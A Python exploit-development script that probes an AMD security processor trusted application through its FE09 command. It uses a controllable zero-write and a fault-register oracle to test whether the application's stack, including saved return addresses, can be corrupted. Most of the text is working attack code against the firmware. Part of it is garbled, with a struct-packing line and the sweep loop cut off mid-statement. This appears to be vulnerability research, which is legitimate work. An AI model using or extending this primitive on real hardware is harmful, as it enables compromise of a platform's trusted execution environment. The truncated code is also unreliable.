#!/usr/bin/env python3 """Can the FE09 zero-write reach the TA's STACK, and do we survive the write? Static map (SYS_DRV/sOS loader, sos_0.49.0.53): - TA image+stack window = VA [0x400000, 0x800000) (sos_map_pages_for_proc: off = v9-0x400000). - bl_load_ta_image reserves the TOP 0x20000 of that 4MB window (constraint v43 <= 0x400000-0x20000) => stack region [0x7E0000, 0x800000), initial SP ~= 0x800000 growing down. - Layout is deterministic (no ASLR): params_VA=0x04013000 fixed across boots/builds. The store (22.0.0.77 gcp_cmdFE09 = sub_402EBC) at PC 0x402fa0 is: *(_DWORD *)((char*)params + displacement + 0x418) = 0; // v13==0 on reachable paths It runs UNCONDITIONALLY whenever *(params+0x10) < 0x10000000, regardless of session state, so we can issue many stores in one session. target = 0x04013000 + 0x418 + D (mod 2^32). Discriminator via the fault oracle word[2] = faulting PC: * no fault, ring alive -> the zero LANDED on a mapped+writable, currently-dead word. * FAULT at PC == 0x402fa0 -> the STORE itself faulted => target NOT writable (rejected). * FAULT at PC != 0x402fa0 -> we got PAST the store; the zero landed and corrupted a LIVE word (e.g. a saved return address) => STACK IS WRITABLE. A non-faulting store keeps the ring alive, so we sweep top-down and stop at the first fault. Positive control first: a store INTO the buffer must land (no fault) and prove the baseline. """ import struct, sys sys.path.insert(0, '/root/psp/hw') from tinygrad import Device import tinygrad.runtime.autogen.am.am as am adev = Device["AMD"].iface.dev_impl psp = adev.psp FAULT = [getattr(adev, 'mmMP0_SMN_C2PMSG_%d' % n) for n in range(82, 89)] def faults(): return tuple(r.read() for r in FAULT) PARAMS_VA = 0x04013000 BASE = PARAMS_VA + 0x418 STORE_PC = 0x402fa0 def alloc(n): pa = adev.mm.palloc(n, align=0x1000, zero=True, boot=False) return pa, adev.paddr2mc(pa) app_pa, app_mc = alloc(0x80000) blob = open('/root/psp/contall/ta_22-0-0-77_7c426e7f.bin', 'rb').read() BUFLEN = 0x8000 cp, cmc = alloc(BUFLEN) def load(): n = (len(blob) + 3) & ~3 adev.vram.view(app_pa, n)[:] = blob + b'\x00' * (n - len(blob)) adev.gmc.flush_hdp() c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t = c.cmd.cmd_load_ta t.app_phy_addr_lo, t.app_phy_addr_hi = app_mc & 0xFFFFFFFF, app_mc >> 32 t.app_len = len(blob) t.cmd_buf_phy_addr_lo, t.cmd_buf_phy_addr_hi = cmc & 0xFFFFFFFF, cmc >> 32 t.cmd_buf_len = BUFLEN try: r = psp._ring_submit(c); return r.resp.status & 0xFFFFFFFF, r.resp.session_id except Exception as e: return -1, None def fe09(sid, disp): buf = bytearray(b'\x00' * BUFLEN) struct.pack_into('= 0x400000 and t < 0x800000 and name.startswith('stack') else 'landed' print('%-24s %#-12x %#-10x %s' % (name, D, st2, v), flush=True) print('\ndone (ring state: %s)' % ('WEDGED' if faults() != f0 else 'alive'), flush=True)